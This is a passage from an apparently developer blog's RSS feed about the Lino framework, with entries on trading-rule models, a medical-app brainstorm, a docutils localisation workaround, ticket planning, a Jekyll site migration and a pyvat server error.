&lt;p&gt;And then a model &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;TradingRule&lt;/span&gt;&lt;/code&gt; (or &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Transition&lt;/span&gt;&lt;/code&gt;), which describes
the possible ways of getting from one state to another state. It will have the
following fields:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;from_state&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;to_state&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;journal&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In use case 1 you would have a journal &lt;cite&gt;SDN&lt;/cite&gt; (“Sales Delivery Notes”) and two
rows in your &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;TradingRule&lt;/span&gt;&lt;/code&gt; table:&lt;/p&gt;
&lt;table class="docutils align-default"&gt;
&lt;thead&gt;
&lt;tr class="row-odd"&gt;&lt;th class="head"&gt;&lt;p&gt;journal&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;from_state&lt;/p&gt;&lt;/th&gt;
&lt;th class="head"&gt;&lt;p&gt;to_state&lt;/p&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;SDN&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;None&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;delivered&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;SLS&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;delivered&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;None&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;But that’s not all. Don’t we also want a separate model for storing the
individual items that are in one of these states? Each row of a delivery note
would generate a row in that table. In TIM this table was called &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;VNA&lt;/span&gt;&lt;/code&gt;.  And
e.g. when you de-register a delivery note that has already been invoiced, TIM
had a special warning in that case, it said something like “This will mess up
your invoicing workflow because the operations of this delivery note have
already been invoiced”. In Lino such a table seems not needed because we have
the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;invoiceable&lt;/span&gt;&lt;/code&gt; field, a GFK on the &lt;cite&gt;invoicing.item_model&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I also need to consider the other “philosophies” of generating invoices, as used
in &lt;a class="reference external" href="https://voga.lino-framework.org/index.html#voga" title="(in Lino Voga)"&gt;&lt;span&gt;Lino Voga&lt;/span&gt;&lt;/a&gt; or &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt; where they have subscription-style orders, which
are a completely different way of invoicing. They are related, though. For
example when a customer orders 10 times a same product, you manage to order 6 of
them from your provider, deliver them to the customer, maybe write an invoice.
What about the four remaining ordered items? The customer may decide to cancel
them. Or their price may change.&lt;/p&gt;
&lt;p&gt;Actually we don’t need another plugin. We just add &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;TradingStates&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;TradingRule&lt;/span&gt;&lt;/code&gt; to the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;invoicing&lt;/span&gt;&lt;/code&gt; plugin.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0503.html</guid><pubDate>Tue, 03 May 2022 00:00:00 +0000</pubDate></item><item><title>Friday, April 29, 2022</title><link>https://luc.lino-framework.org/blog/2022/0429.html</link><description>&lt;section id="friday-april-29-2022"&gt;
&lt;h1&gt;Friday, April 29, 2022&lt;a class="headerlink" href="#friday-april-29-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;A started a brainstorming page for a new plugin &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;leaders&lt;/span&gt;&lt;/code&gt; (which I removed
already one day later because that was a bit too quick).&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0429.html</guid><pubDate>Fri, 29 Apr 2022 00:00:00 +0000</pubDate></item><item><title>Sunday, April 24, 2022</title><link>https://luc.lino-framework.org/blog/2022/0424.html</link><description>&lt;section id="sunday-april-24-2022"&gt;
&lt;h1&gt;Sunday, April 24, 2022&lt;a class="headerlink" href="#sunday-april-24-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I wanted to quickly document the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/get_handle_name.html#get-handle-name" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Table views with dynamic columns&lt;/span&gt;&lt;/a&gt; feature. Took me just a
few hours because I also reviewed the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/events/index.html#book-specs-events" title="(in Lino Developer Guide)"&gt;&lt;span&gt;events : Publishing an event calendar&lt;/span&gt;&lt;/a&gt; page. And the
actual documentation is still rather poor.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0424.html</guid><pubDate>Sun, 24 Apr 2022 00:00:00 +0000</pubDate></item><item><title>Thursday, March 17, 2022</title><link>https://luc.lino-framework.org/blog/2022/0317.html</link><description>&lt;section id="thursday-march-17-2022"&gt;
&lt;h1&gt;Thursday, March 17, 2022&lt;a class="headerlink" href="#thursday-march-17-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Brainstorming with Sharif for Lino Medico.&lt;/p&gt;
&lt;p&gt;A patient comes to a first meeting. This is just a &lt;a class="reference external" href="https://using.lino-framework.org/plugins/cal.html#term-calendar-entry" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;calendar entry&lt;/span&gt;&lt;/a&gt;.
Bangladesh does not have the concept of family doctors (perearst, Hausarzt).
During the meeting, the doctor may decide with the patient to start one or several treatments or therapies.
A therapy is usually a course with one participant.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Doctor: “I write you a prescription. Try it. And if your problem doesn’t go away, come back.”
Doctor creates a course from the calendar entry.
And this entry should automatically be linked to that course.
The course mainly mentions the original problem.
When the patient goes home, they should get their “case” number.&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;::&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;courses.Course._meta.verbose_name = _(“Case”) # _(“Dossier”) _(“File”)&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Lino should have a procedure for detecting cases that have timed out.
For example after two months we can assume that the problem is fixed if the patient didn’t come back.
Lino should automatically set Course.state to “timed_out” for such cases.&lt;/p&gt;
&lt;p&gt;Follow up:
Patient contacts the reception: “I need another consultation”.
Reception clerk finds the patient contact and sees: yes, you have an open case.
Creates another calendar entry for that case.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Examples of course lines:
“general consultation” and
“urgent consultation”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The generalist is a doctor who receives patients for such first-time consultations.
A specialist receives cases when some generalist decides so.
Every case is like a ticket in Noi: the Course.user is the first doctor, Course.teacher is the “currently responsible” doctor.
The generalist can assign a case to a specialist.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The generalist can enrol the patient into a group therapy. “Every Monday they are doing gymnastics”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The generalist can create several cases at the same time when the patient has
two problems at once.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Example: emergency patient.
write an order for x-ray.
another doctor makes the diagnose: leg is broken. writes an order to plaster.&lt;/p&gt;
&lt;p&gt;I will write a order for X-Ray and they will assign some doctor to continue with you.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Or “You need some therapy, I will put you to the waiting list.” This will&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0317.html</guid><pubDate>Thu, 17 Mar 2022 00:00:00 +0000</pubDate></item><item><title>Monday, March 14, 2022</title><link>https://luc.lino-framework.org/blog/2022/0314.html</link><description>&lt;section id="monday-march-14-2022"&gt;
&lt;h1&gt;Monday, March 14, 2022&lt;a class="headerlink" href="#monday-march-14-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The GitLab CI for laudate is failing with message
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rST&lt;/span&gt; &lt;span class="pre"&gt;localisation&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;language&lt;/span&gt; &lt;span class="pre"&gt;'et'&lt;/span&gt; &lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;found&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Where does it come from:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ grep -R &amp;quot;rST localisation&amp;quot; /home/luc/virtualenvs/py38/lib/python3.8/site-packages/
.../site-packages/docutils/parsers/rst/languages/__init__.py:    warn_msg = &amp;#39;rST localisation for language &amp;quot;%s&amp;quot; not found.&amp;#39;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, I remember that some time ago I fixed this locally by add a language file
“et” to my local docutils installation as explained in
&lt;a class="reference external" href="http://docutils.sf.net/docs/howto/i18n.html"&gt;http://docutils.sf.net/docs/howto/i18n.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But I am not going to do this on GitLab. How to add a language to docutils?&lt;/p&gt;
&lt;p&gt;The optimal way would be  &lt;a class="reference external" href="https://docutils.sourceforge.io/docs/dev/repository.html"&gt;to contribute&lt;/a&gt;. But that would
take a lot of time time, and I want a quick fix.&lt;/p&gt;
&lt;p&gt;I see that &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;docutils.languages.LanguageImporter&lt;/span&gt;&lt;/code&gt; has an  attribute
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;packages&lt;/span&gt;&lt;/code&gt;, which is a tuple of prefixes:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;docutils.languages.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So I might add this &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;et.py&lt;/span&gt;&lt;/code&gt; to my project directory instead of adding it
to the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docutils/languages&lt;/span&gt;&lt;/code&gt; directory. But if I manage to add
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;'rstgen.sphinxconf'&lt;/span&gt;&lt;/code&gt; to that tuple, I might get my quick workaround.&lt;/p&gt;
&lt;p&gt;I made two PyPI releases in this direction before I realized that I would have
to do the same patch for
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;docutils.parsers.rst.languages.RstLanguageImporter&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Oh no. Enough hacking around! I will rather &lt;a class="reference external" href="https://docutils.sourceforge.io/docs/dev/repository.html"&gt;start contributing to docutils&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Get started:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ cd ~/repositories
$ svn checkout https://svn.code.sf.net/p/docutils/code/trunk docutils-code
$ pip install -e docutils-code/docutils
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;First problem: The &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-e&lt;/span&gt;&lt;/code&gt; says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.&lt;/span&gt;
&lt;span class="n"&gt;sphinx&lt;/span&gt; &lt;span class="mf"&gt;4.4.0&lt;/span&gt; &lt;span class="n"&gt;requires&lt;/span&gt; &lt;span class="n"&gt;docutils&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;0.18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;docutils&lt;/span&gt; &lt;span class="mf"&gt;0.19&lt;/span&gt;&lt;span class="n"&gt;b0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dev0&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;incompatible&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;sphinx&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rtd&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;theme&lt;/span&gt; &lt;span class="mf"&gt;1.0.0&lt;/span&gt; &lt;span class="n"&gt;requires&lt;/span&gt; &lt;span class="n"&gt;docutils&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mf"&gt;0.18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;docutils&lt;/span&gt; &lt;span class="mf"&gt;0.19&lt;/span&gt;&lt;span class="n"&gt;b0&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dev0&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;incompatible&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A stupid dependency bug: sphinx and sphinx-rtd-theme fail to work with the
development version of docutils.  OMG! So I should ideally now contribute to
these as well! First question is: why do they require “&amp;lt;0.18”? Shouldn’t they
simply remove this requirement?   Okay I can work around this by saying:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;warn&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;conflicts&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But I also submitted a ticket for it:
&lt;a class="reference external" href="https://github.com/sphinx-doc/sphinx/issues/10264"&gt;https://github.com/sphinx-doc/sphinx/issues/10264&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To which Takeshi KOMIYA answered
“The reason why we restrict the version of docutils is the combination not
guaranteed yet. Please wait for the update (refs: &lt;a class="reference external" href="https://github.com/sphinx-doc/sphinx/issues/9777"&gt;#9777&lt;/a&gt;)”.&lt;/p&gt;
&lt;p&gt;Okay, I see. Nothing is easy!&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0314.html</guid><pubDate>Mon, 14 Mar 2022 00:00:00 +0000</pubDate></item><item><title>Sunday, March 13, 2022</title><link>https://luc.lino-framework.org/blog/2022/0313.html</link><description>&lt;section id="sunday-march-13-2022"&gt;
&lt;h1&gt;Sunday, March 13, 2022&lt;a class="headerlink" href="#sunday-march-13-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Just to share an emotional story:&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0313.html</guid><pubDate>Sun, 13 Mar 2022 00:00:00 +0000</pubDate></item><item><title>Tuesday, February 8, 2022</title><link>https://luc.lino-framework.org/blog/2022/0208.html</link><description>&lt;section id="tuesday-february-8-2022"&gt;
&lt;h1&gt;Tuesday, February 8, 2022&lt;a class="headerlink" href="#tuesday-february-8-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I think I will reactivate &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1516"&gt;#1516&lt;/a&gt; in favour of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4427"&gt;#4427&lt;/a&gt;.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3004"&gt;#3004&lt;/a&gt; Replace “Reference tickets” by “Starred tickets”?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4427"&gt;#4427&lt;/a&gt; A “nicknames” plugin&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1516"&gt;#1516&lt;/a&gt; Add a “parent” field to ticket&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2384"&gt;#2384&lt;/a&gt; Kanban for Jane&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4427"&gt;#4427&lt;/a&gt; has at least two disadvantages: Adds complexity. Can be replaced
by a list of recently active tickets. Requires every user to maintain their
nicknames.&lt;/p&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1516"&gt;#1516&lt;/a&gt; says “I seem to remember that I had this in the ticketing system
in TIM, and  that I deliberately decided to drop this, because it caused
problems for reporting. Until now tickets are designed to be “atomic” units for
project management.” but I doubt whether problems for reporting still holds.
Yes, reporting becomes more complex because the client will want to see a
summary of all their top-level tickets, together with the sum of invested time
(including time on child tickets), but that’s not a problem in an SQL database.&lt;/p&gt;
&lt;p&gt;One advantage of &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/1516"&gt;#1516&lt;/a&gt; would be that top-level tickets would be the
“goals” of a Kanban board and that we can easily convert any ticket into a
top-level ticket (or the opposite: convert a top-level ticket to a child of
another ticket)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0208.html</guid><pubDate>Tue, 08 Feb 2022 00:00:00 +0000</pubDate></item><item><title>Thursday, January 20, 2022</title><link>https://luc.lino-framework.org/blog/2022/0120.html</link><description>&lt;section id="thursday-january-20-2022"&gt;
&lt;h1&gt;Thursday, January 20, 2022&lt;a class="headerlink" href="#thursday-january-20-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="migrating-a-jekyll-site-from-github-to-gitlab"&gt;
&lt;h2&gt;Migrating a Jekyll site from GitHub to GitLab&lt;a class="headerlink" href="#migrating-a-jekyll-site-from-github-to-gitlab" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4345"&gt;#4345&lt;/a&gt; the &lt;a class="reference external" href="https://gitlab.com/alvatal/www"&gt;https://gitlab.com/alvatal/www&lt;/a&gt; project (which I
am migrating from &lt;a class="reference external" href="https://github.com/alvatal/alvatal.github.io"&gt;https://github.com/alvatal/alvatal.github.io&lt;/a&gt; )&lt;/p&gt;
&lt;p&gt;After having added my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt; file, the content gets rendered correctly at
&lt;a class="reference external" href="https://alvatal.gitlab.io/www/"&gt;https://alvatal.gitlab.io/www/&lt;/a&gt;
but the &lt;a class="reference external" href="https://alvatal.gitlab.io/www/news/"&gt;news page&lt;/a&gt;
is still empty.&lt;/p&gt;
&lt;p&gt;Edmund helped me to discover the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;planet.yml&lt;/span&gt;&lt;/code&gt; file. But for some reason,
this file was obviously being used on GitHub somehow “automatically”. I need to
add something to my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.gitlab-ci.yml&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;While searching for an answer, I stumbled into&lt;/p&gt;
&lt;p&gt;How to setup the link that our readers can use to subscribe to our (aggregated)
news feed:  &lt;a class="reference external" href="https://jekyllcodex.org/without-plugin/rss-feed/"&gt;simple&lt;/a&gt; and
&lt;a class="reference external" href="https://learn.cloudcannon.com/jekyll/rss-and-atom-feeds/"&gt;more sophisticated&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The instructions on &lt;a class="reference external" href="https://github.com/bluesabre/planet.bluesabre.org"&gt;bluesabre.org&lt;/a&gt; look interesting, but it
seems that Lauri had found a simpler solution.&lt;/p&gt;
&lt;p&gt;The instructions on &lt;a class="reference external" href="https://github.com/feedreader/planet.rb"&gt;https://github.com/feedreader/planet.rb&lt;/a&gt; look even closer.
But still they don’t seem to be the final solution.&lt;/p&gt;
&lt;p&gt;Or here: &lt;a class="reference external" href="https://github.com/feedreader/pluto/tree/master/pluto"&gt;https://github.com/feedreader/pluto/tree/master/pluto&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I no longer believe that GitHub has this as a magic default feature.  Next step
is to look with Edmund in the settings of the GitHub project. Maybe there are
some customization in the GitHub settings that are not stored as files in the
repo.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/0120.html</guid><pubDate>Thu, 20 Jan 2022 00:00:00 +0000</pubDate></item><item><title>Monday, December 27, 2021</title><link>https://luc.lino-framework.org/blog/2021/1227.html</link><description>&lt;section id="monday-december-27-2021"&gt;
&lt;h1&gt;Monday, December 27, 2021&lt;a class="headerlink" href="#monday-december-27-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;How would a &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.ini&lt;/span&gt;&lt;/code&gt; file look like?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;use_third_party_authentication&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;excerpts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;responsible_user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;jean&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;notify&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;use_push_api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/1227.html</guid><pubDate>Mon, 27 Dec 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, December 16, 2021</title><link>https://luc.lino-framework.org/blog/2021/1216.html</link><description>&lt;section id="thursday-december-16-2021"&gt;
&lt;h1&gt;Thursday, December 16, 2021&lt;a class="headerlink" href="#thursday-december-16-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="pyvat-exceptions-servererror-servererror-ms-max-concurrent-req"&gt;
&lt;h2&gt;pyvat.exceptions.ServerError: ServerError: MS_MAX_CONCURRENT_REQ&lt;a class="headerlink" href="#pyvat-exceptions-servererror-servererror-ms-max-concurrent-req" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I fixed a sporadic error during &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;cmd&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt; in
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cosi2&lt;/span&gt;&lt;/code&gt;, which occurred only when the pyvat server
wasn’t available:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;pyvat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_vat_number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;BE0650238114&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;BE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/work/xl/lino_xl/lib/vat/choicelists.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;736&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;validate&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pyvat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check_vat_number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;vn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;country_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
